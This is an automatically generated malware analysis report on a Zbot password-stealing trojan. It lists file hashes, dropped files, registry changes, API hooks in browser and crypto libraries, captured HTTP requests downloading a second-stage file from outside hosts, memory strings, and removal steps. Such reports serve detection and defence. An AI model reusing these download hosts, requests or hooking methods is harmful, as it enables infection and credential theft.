Trojan-PSW.Win32.Zbot_1b6d808ac0

by malwarelabrobot on June 25th, 2014 in Malware Descriptions.

HEUR:Trojan.Win32.Generic (Kaspersky), Gen:Variant.Symmi.43480 (B) (Emsisoft), Gen:Variant.Symmi.43480 (AdAware), Trojan-PSW.Win32.Zbot.6.FD, GenericInjector.YR, BackdoorCaphaw_QKKBAL.YR, TrojanPSWZbot.YR (Lavasoft MAS)
Behaviour: Trojan-PSW, Trojan, Backdoor


The description has been automatically generated by Lavasoft Malware Analysis System and it may contain incomplete or inaccurate information.

Requires JavaScript enabled!

Summary
Dynamic Analysis
Static Analysis
Network Activity
Map
Strings from Dumps
Removals

MD5: 1b6d808ac040ecb76467313cf186e633
SHA1: 48b861ea2c52d248f4766cb33ac74cf74374b082
SHA256: 9a03c31d4fff0bcbda793d473ecbed237028a7eeb37763c4093a3c8e19acbdcc
SSDeep: 3072:9l0LwcJvXtAdSglMCMm4bRyoFIxbgPsG2ekQeJbC2uC031Nyt5SA iFlj6xCFFX3:9udSAgZ7noFgg0G8diOJF56xC
Size: 241664 bytes
File type: EXE
Platform: WIN32
Entropy: Packed
PEID: UPolyXv05_v6, MicrosoftVisualC, MicrosoftVisualCv50v60MFC, MicrosoftVisualC50, Armadillov171
Company: AirInstaller
Created at: 2004-10-30 15:39:42
Analyzed on: WindowsXP SP3 32-bit


Summary:

Trojan-PSW. Trojan program intended for stealing users passwords.

Payload

No specific payload has been found.

Process activity

The Trojan-PSW creates the following process(es):

%original file name%.exe:1648
%original file name%.exe:576
pypyf.exe:1576
pypyf.exe:552

The Trojan-PSW injects its code into the following process(es):

Explorer.EXE:1912

Mutexes

The following mutexes were created/opened:
No objects were found.

File activity

The process %original file name%.exe:576 makes changes in the file system.
The Trojan-PSW creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Application Data\Ycze\pypyf.exe (241 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\tmpe7e59bfd.bat (177 bytes)

Registry activity

The process %original file name%.exe:1648 makes changes in the system registry.
The Trojan-PSW creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "20 F3 2B 3D 97 A4 24 99 27 31 07 8C FE B6 32 61"

The process %original file name%.exe:576 makes changes in the system registry.
The Trojan-PSW creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "D6 BF 5C E1 C7 7E 18 05 B4 8B 77 EE FD FE 9A 5C"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

The process pypyf.exe:1576 makes changes in the system registry.
The Trojan-PSW creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "D7 58 AC 20 5D E0 35 37 8E 37 82 36 5B DE E5 25"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

The process pypyf.exe:552 makes changes in the system registry.
The Trojan-PSW creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "31 DF EA DC 57 4F 4B E4 15 B5 F7 97 E4 71 82 39"

Dropped PE files

MD5 File path
59af3495e875e2c79ecdc9c8a2836d8c c:\Documents and Settings\"%CurrentUserName%"\Application Data\Ycze\pypyf.exe

HOSTS file anomalies

No changes have been detected.

Rootkit activity

The Trojan-PSW installs the following user-mode hooks in WININET.dll:

HttpSendRequestExA
HttpSendRequestW
InternetReadFileExA
InternetQueryDataAvailable
HttpSendRequestExW
InternetReadFile
HttpQueryInfoA
HttpSendRequestA
InternetCloseHandle

The Trojan-PSW installs the following user-mode hooks in CRYPT32.dll:

PFXImportCertStore

The Trojan-PSW installs the following user-mode hooks in USER32.dll:

SetCursorPos
DefMDIChildProcA
DefFrameProcA
DefDlgProcA
GetClipboardData
DefMDIChildProcW
DefFrameProcW
GetUpdateRgn
RegisterClassA
GetDCEx
ReleaseCapture
SetCapture
DefWindowProcA
CallWindowProcA
GetUpdateRect
PeekMessageA
CallWindowProcW
GetMessagePos
GetCursorPos
EndPaint
BeginPaint
DefWindowProcW
RegisterClassExA
GetMessageA
DefDlgProcW
SwitchDesktop
OpenInputDesktop
RegisterClassExW
RegisterClassW
GetCapture
PeekMessageW
GetMessageW
GetWindowDC
TranslateMessage
GetDC
ReleaseDC

The Trojan-PSW installs the following user-mode hooks in WS2_32.dll:

WSASend
send
closesocket

The Trojan-PSW installs the following user-mode hooks in kernel32.dll:

GetFileAttributesExW

The Trojan-PSW installs the following user-mode hooks in ntdll.dll:

LdrLoadDll
NtCreateThread

Propagation

VersionInfo

Company Name:
Product Name: OwnDrawButton
Product Version: 1, 0, 0, 1
Legal Copyright: Copyright ? 2014
Legal Trademarks:
Original Filename: OwnDrawButton.exe
Internal Name: OwnDrawButton
File Version: 1, 0, 0, 1
File Description: OwnDrawButton
Comments:
Language: Italian (Italy)

PE Sections

Name Virtual Address Virtual Size Raw Size Entropy Section MD5
.text 4096 14974 16384 4.29466 baeeed047633810867643aafd2b68daa
.rdata 20480 5564 8192 2.502 cd70508f9d8e61b45335171add18f9aa
.data 28672 3596 4096 0.281166 53ec86308b660fbd08c1c67c943becc6
.rsrc 32768 200584 200704 5.51167 596f0585394c4bdd051e5145fcd5fdcc
.asada 233472 8 4096 3.40372 86f8bc92a3edca33b57535ec10aeed59

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

URLs

URL IP
hxxp://78.24.216.58/lesson/site
hxxp://cjazzaritoanil.myjino.ru/site.bin 81.177.135.141


IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

Traffic

GET /site.bin HTTP/1.1
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:27.0) Gecko/20100101 Firefox/27.0
Host: cjazzaritoanil.myjino.ru
Cache-Control: no-cache
Connection: Keep-Alive


HTTP/1.1 403 Forbidden
Date: Tue, 24 Jun 2014 23:42:46 GMT
Content-Type: text/html
Transfer-Encoding: chunked
Connection: close
d2..<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<html&
gt;..<head><title>403 Forbidden</title></head>
..<body>..<h1>Forbidden</h1>..<p>You don't hav
e permission to access ..on this server.</p>..</body>..<
;/html>..0..



GET /site.bin HTTP/1.1
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:27.0) Gecko/20100101 Firefox/27.0
Host: cjazzaritoanil.myjino.ru
Cache-Control: no-cache
Connection: Keep-Alive


HTTP/1.1 403 Forbidden
Date: Tue, 24 Jun 2014 23:42:35 GMT
Content-Type: text/html
Transfer-Encoding: chunked
Connection: close
d2..<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<html&
gt;..<head><title>403 Forbidden</title></head>
..<body>..<h1>Forbidden</h1>..<p>You don't hav
e permission to access ..on this server.</p>..</body>..<
;/html>..0..



GET /lesson/site HTTP/1.1
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:27.0) Gecko/20100101 Firefox/27.0
Host: 78.24.216.58
Cache-Control: no-cache


HTTP/1.1 301 Moved Permanently
Date: Tue, 24 Jun 2014 23:42:35 GMT
Server: Apache/2.2.22 (Debian)
Location: hXXp://cjazzaritoanil.myjino.ru/site.bin
Vary: Accept-Encoding
Content-Length: 326
Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<html>&
lt;head>.<title>301 Moved Permanently</title>.</head
><body>.<h1>Moved Permanently</h1>.<p>The d
ocument has moved <a href="hXXp://cjazzaritoanil.myjino.ru/site.bin
">here</a>.</p>.<hr>.<address>Apache/2.2.22
 (Debian) Server at 78.24.216.58 Port 80</address>.</body>
</html>.HTTP/1.1 301 Moved Permanently..Date: Tue, 24 Jun 2014 2
3:42:35 GMT..Server: Apache/2.2.22 (Debian)..Location: hXXp://cjazzari
toanil.myjino.ru/site.bin..Vary: Accept-Encoding..Content-Length: 326.
.Content-Type: text/html; charset=iso-8859-1..<!DOCTYPE HTML PUBLIC
 "-//IETF//DTD HTML 2.0//EN">.<html><head>.<title>
;301 Moved Permanently</title>.</head><body>.<h1&
gt;Moved Permanently</h1>.<p>The document has moved <a 
href="hXXp://cjazzaritoanil.myjino.ru/site.bin">here</a>.<
/p>.<hr>.<address>Apache/2.2.22 (Debian) Server at 78.2
4.216.58 Port 80</address>.</body></html>....
.


GET /lesson/site HTTP/1.1


Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:27.0) Gecko/20100101 Firefox/27.0
Host: 78.24.216.58
Cache-Control: no-cache


HTTP/1.1 301 Moved Permanently
Date: Tue, 24 Jun 2014 23:42:35 GMT
Server: Apache/2.2.22 (Debian)
Location: hXXp://cjazzaritoanil.myjino.ru/site.bin
Vary: Accept-Encoding
Content-Length: 326
Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<html>&
lt;head>.<title>301 Moved Permanently</title>.</head
><body>.<h1>Moved Permanently</h1>.<p>The d
ocument has moved <a href="hXXp://cjazzaritoanil.myjino.ru/site.bin
">here</a>.</p>.<hr>.<address>Apache/2.2.22
 (Debian) Server at 78.24.216.58 Port 80</address>.</body>
</html>.HTTP/1.1 301 Moved Permanently..Date: Tue, 24 Jun 2014 2
3:42:35 GMT..Server: Apache/2.2.22 (Debian)..Location: hXXp://cjazzari
toanil.myjino.ru/site.bin..Vary: Accept-Encoding..Content-Length: 326.
.Content-Type: text/html; charset=iso-8859-1..<!DOCTYPE HTML PUBLIC
 "-//IETF//DTD HTML 2.0//EN">.<html><head>.<title>
;301 Moved Permanently</title>.</head><body>.<h1&
gt;Moved Permanently</h1>.<p>The document has moved <a 
href="hXXp://cjazzaritoanil.myjino.ru/site.bin">here</a>.<
/p>.<hr>.<address>Apache/2.2.22 (Debian) Server at 78.2
4.216.58 Port 80</address>.</body></html>.HTTP/1.1 3
01 Moved Permanently..Date: Tue, 24 Jun 2014 23:42:35 GMT..Server: Apa
che/2.2.22 (Debian)..Location: hXXp://cjazzaritoanil.myjino.ru/site.bi
n..Vary: Accept-Encoding..Content-Length: 326..Content-Type: text/html
; charset=iso-8859-1..<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0/
/EN">.<html><head>.<title>301 Moved Permanently&l
t;/title>.</head><body>.<h1>Moved Permanently
<<< skipped >>>


GET /site.bin HTTP/1.1
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:27.0) Gecko/20100101 Firefox/27.0
Host: cjazzaritoanil.myjino.ru
Cache-Control: no-cache
Connection: Keep-Alive


HTTP/1.1 403 Forbidden
Date: Tue, 24 Jun 2014 23:42:46 GMT
Content-Type: text/html
Transfer-Encoding: chunked
Connection: close
d2..<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<html&
gt;..<head><title>403 Forbidden</title></head>
..<body>..<h1>Forbidden</h1>..<p>You don't hav
e permission to access ..on this server.</p>..</body>..<
;/html>..0..



GET /site.bin HTTP/1.1
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:27.0) Gecko/20100101 Firefox/27.0
Host: cjazzaritoanil.myjino.ru
Cache-Control: no-cache
Connection: Keep-Alive


HTTP/1.1 403 Forbidden
Date: Tue, 24 Jun 2014 23:42:35 GMT
Content-Type: text/html
Transfer-Encoding: chunked
Connection: close
d2..<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<html&
gt;..<head><title>403 Forbidden</title></head>
..<body>..<h1>Forbidden</h1>..<p>You don't hav
e permission to access ..on this server.</p>..</body>..<
;/html>..0..



GET /site.bin HTTP/1.1
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:27.0) Gecko/20100101 Firefox/27.0
Host: cjazzaritoanil.myjino.ru
Cache-Control: no-cache
Connection: Keep-Alive


HTTP/1.1 403 Forbidden
Date: Tue, 24 Jun 2014 23:42:40 GMT
Content-Type: text/html
Transfer-Encoding: chunked
Connection: close
d2..<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<html&
gt;..<head><title>403 Forbidden</title></head>
..<body>..<h1>Forbidden</h1>..<p>You don't hav
e permission to access ..on this server.</p>..</body>..<
;/html>..0..



GET /site.bin HTTP/1.1
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:27.0) Gecko/20100101 Firefox/27.0
Host: cjazzaritoanil.myjino.ru
Cache-Control: no-cache
Connection: Keep-Alive


HTTP/1.1 403 Forbidden
Date: Tue, 24 Jun 2014 23:42:40 GMT
Content-Type: text/html
Transfer-Encoding: chunked
Connection: close
d2..<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<html&
gt;..<head><title>403 Forbidden</title></head>
..<body>..<h1>Forbidden</h1>..<p>You don't hav
e permission to access ..on this server.</p>..</body>..<
;/html>..0..



GET /lesson/site HTTP/1.1
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:27.0) Gecko/20100101 Firefox/27.0
Host: 78.24.216.58
Cache-Control: no-cache


HTTP/1.1 301 Moved Permanently
Date: Tue, 24 Jun 2014 23:42:46 GMT
Server: Apache/2.2.22 (Debian)
Location: hXXp://cjazzaritoanil.myjino.ru/site.bin
Vary: Accept-Encoding
Content-Length: 326
Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<html>&
lt;head>.<title>301 Moved Permanently</title>.</head
><body>.<h1>Moved Permanently</h1>.<p>The d
ocument has moved <a href="hXXp://cjazzaritoanil.myjino.ru/site.bin
">here</a>.</p>.<hr>.<address>Apache/2.2.22
 (Debian) Server at 78.24.216.58 Port 80</address>.</body>
</html>.HTTP/1.1 301 Moved Permanently..Date: Tue, 24 Jun 2014 2
3:42:46 GMT..Server: Apache/2.2.22 (Debian)..Location: hXXp://cjazzari
toanil.myjino.ru/site.bin..Vary: Accept-Encoding..Content-Length: 326.
.Content-Type: text/html; charset=iso-8859-1..<!DOCTYPE HTML PUBLIC
 "-//IETF//DTD HTML 2.0//EN">.<html><head>.<title>
;301 Moved Permanently</title>.</head><body>.<h1&
gt;Moved Permanently</h1>.<p>The document has moved <a 
href="hXXp://cjazzaritoanil.myjino.ru/site.bin">here</a>.<
/p>.<hr>.<address>Apache/2.2.22 (Debian) Server at 78.2
4.216.58 Port 80</address>.</body></html>....
.


GET /lesson/site HTTP/1.1


Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:27.0) Gecko/20100101 Firefox/27.0
Host: 78.24.216.58
Cache-Control: no-cache


HTTP/1.1 301 Moved Permanently
Date: Tue, 24 Jun 2014 23:42:46 GMT
Server: Apache/2.2.22 (Debian)
Location: hXXp://cjazzaritoanil.myjino.ru/site.bin
Vary: Accept-Encoding
Content-Length: 326
Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<html>&
lt;head>.<title>301 Moved Permanently</title>.</head
><body>.<h1>Moved Permanently</h1>.<p>The d
ocument has moved <a href="hXXp://cjazzaritoanil.myjino.ru/site.bin
">here</a>.</p>.<hr>.<address>Apache/2.2.22
 (Debian) Server at 78.24.216.58 Port 80</address>.</body>
</html>.HTTP/1.1 301 Moved Permanently..Date: Tue, 24 Jun 2014 2
3:42:46 GMT..Server: Apache/2.2.22 (Debian)..Location: hXXp://cjazzari
toanil.myjino.ru/site.bin..Vary: Accept-Encoding..Content-Length: 326.
.Content-Type: text/html; charset=iso-8859-1..<!DOCTYPE HTML PUBLIC
 "-//IETF//DTD HTML 2.0//EN">.<html><head>.<title>
;301 Moved Permanently</title>.</head><body>.<h1&
gt;Moved Permanently</h1>.<p>The document has moved <a 
href="hXXp://cjazzaritoanil.myjino.ru/site.bin">here</a>.<
/p>.<hr>.<address>Apache/2.2.22 (Debian) Server at 78.2
4.216.58 Port 80</address>.</body></html>...



GET /lesson/site HTTP/1.1
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:27.0) Gecko/20100101 Firefox/27.0
Host: 78.24.216.58
Cache-Control: no-cache


HTTP/1.1 301 Moved Permanently
Date: Tue, 24 Jun 2014 23:42:40 GMT
Server: Apache/2.2.22 (Debian)
Location: hXXp://cjazzaritoanil.myjino.ru/site.bin
Vary: Accept-Encoding
Content-Length: 326
Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<html>&
lt;head>.<title>301 Moved Permanently</title>.</head
><body>.<h1>Moved Permanently</h1>.<p>The d
ocument has moved <a href="hXXp://cjazzaritoanil.myjino.ru/site.bin
">here</a>.</p>.<hr>.<address>Apache/2.2.22
 (Debian) Server at 78.24.216.58 Port 80</address>.</body>
</html>.HTTP/1.1 301 Moved Permanently..Date: Tue, 24 Jun 2014 2
3:42:40 GMT..Server: Apache/2.2.22 (Debian)..Location: hXXp://cjazzari
toanil.myjino.ru/site.bin..Vary: Accept-Encoding..Content-Length: 326.
.Content-Type: text/html; charset=iso-8859-1..<!DOCTYPE HTML PUBLIC
 "-//IETF//DTD HTML 2.0//EN">.<html><head>.<title>
;301 Moved Permanently</title>.</head><body>.<h1&
gt;Moved Permanently</h1>.<p>The document has moved <a 
href="hXXp://cjazzaritoanil.myjino.ru/site.bin">here</a>.<
/p>.<hr>.<address>Apache/2.2.22 (Debian) Server at 78.2
4.216.58 Port 80</address>.</body></html>....
.


GET /lesson/site HTTP/1.1


Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:27.0) Gecko/20100101 Firefox/27.0
Host: 78.24.216.58
Cache-Control: no-cache


HTTP/1.1 301 Moved Permanently
Date: Tue, 24 Jun 2014 23:42:40 GMT
Server: Apache/2.2.22 (Debian)
Location: hXXp://cjazzaritoanil.myjino.ru/site.bin
Vary: Accept-Encoding
Content-Length: 326
Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<html>&
lt;head>.<title>301 Moved Permanently</title>.</head
><body>.<h1>Moved Permanently</h1>.<p>The d
ocument has moved <a href="hXXp://cjazzaritoanil.myjino.ru/site.bin
">here</a>.</p>.<hr>.<address>Apache/2.2.22
 (Debian) Server at 78.24.216.58 Port 80</address>.</body>
</html>.HTTP/1.1 301 Moved Permanently..Date: Tue, 24 Jun 2014 2
3:42:40 GMT..Server: Apache/2.2.22 (Debian)..Location: hXXp://cjazzari
toanil.myjino.ru/site.bin..Vary: Accept-Encoding..Content-Length: 326.
.Content-Type: text/html; charset=iso-8859-1..<!DOCTYPE HTML PUBLIC
 "-//IETF//DTD HTML 2.0//EN">.<html><head>.<title>
;301 Moved Permanently</title>.</head><body>.<h1&
gt;Moved Permanently</h1>.<p>The document has moved <a 
href="hXXp://cjazzaritoanil.myjino.ru/site.bin">here</a>.<
/p>.<hr>.<address>Apache/2.2.22 (Debian) Server at 78.2
4.216.58 Port 80</address>.</body></html>...

The Trojan-PSW connects to the servers at the folowing location(s):

Explorer.EXE_1912_rwx_01E00000_0002C000:

.text
`.data
.reloc
gdiplus.dll
GdiplusShutdown
ole32.dll
gdi32.dll
HTTP/1.1
http://78.24.216.58/lesson/site
Mozilla/5.0 (Windows NT 6.1; WOW64; rv:27.0) Gecko/20100101 Firefox/27.0
pufjwdx.jvh
" !=%(>";;
=225;6%%7!=
3:6 1*7=$;-
*4*-0*1?7!
MK[(bocmdgs
15#77??68.
&'/( <99
$!*4,#)<:
mfh{g~amzgs.dgg
:; 1299;2
>.Rdd
<-?).$: (26
userenv.dll
del "%s"
if exist "%s" goto d
del /F "%s"
urlmon.dll
cabinet.dll
http://
https://
HTTP/1.
http://www.google.com/webhp
t7SSSh
t"SSSh
GetProcessHeap
KERNEL32.dll
MapVirtualKeyW
ExitWindowsEx
OpenWindowStationW
GetProcessWindowStation
CreateWindowStationW
CloseWindowStation
SetProcessWindowStation
SetKeyboardState
GetKeyboardState
MsgWaitForMultipleObjects
USER32.dll
RegOpenKeyExW
RegEnumKeyExW
RegCloseKey
RegCreateKeyExW
ADVAPI32.dll
UrlUnescapeA
SHDeleteKeyW
PathIsURLW
SHLWAPI.dll
ShellExecuteW
SHELL32.dll
Secur32.dll
SetViewportOrgEx
GDI32.dll
WS2_32.dll
CertDeleteCertificateFromStore
CertOpenSystemStoreW
CertCloseStore
PFXImportCertStore
CertEnumCertificatesInStore
CertDuplicateCertificateContext
PFXExportCertStoreEx
CRYPT32.dll
HttpQueryInfoA
InternetCrackUrlA
HttpOpenRequestA
HttpAddRequestHeadersA
HttpSendRequestA
HttpSendRequestExA
HttpSendRequestExW
HttpSendRequestW
GetUrlCacheEntryInfoW
HttpAddRequestHeadersW
WININET.dll
OLEAUT32.dll
NETAPI32.dll
;V.Dz
=?>#?.?;?
9%9)9/939
SysShadow
kernel32.dll
"%s" %s
/c "%s"
%sx.%s
%sx
cGlobal\XXX
Global\{9A83C423-DA1D-6A58-25C0-5B72C34F262E}
%Documents and Settings%\%current user%\Application Data
{9B35C01C-A0CE-80DE-6663-4272C39E262F}
%Documents and Settings%\%current user%\Application Data\Yvxa\etog.exe
%Documents and Settings%\%current user%\Application Data\Yvxa
etog.exe


Remove it with Ad-Aware

  1. Click (here) to download and install Ad-Aware Free Antivirus.
  2. Update the definition files.
  3. Run a full scan of your computer.


Manual removal*

  1. Scan a system with an anti-rootkit tool.
  2. Terminate malicious process(es) (How to End a Process With the Task Manager):

    %original file name%.exe:1648
    %original file name%.exe:576
    pypyf.exe:1576
    pypyf.exe:552

  3. Delete the original Trojan-PSW file.
  4. Delete or disinfect the following files created/modified by the Trojan-PSW:

    %Documents and Settings%\%current user%\Application Data\Ycze\pypyf.exe (241 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\tmpe7e59bfd.bat (177 bytes)

  5. Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
  6. Reboot the computer.

*Manual removal may cause unexpected system behaviour and should be performed at your own risk.

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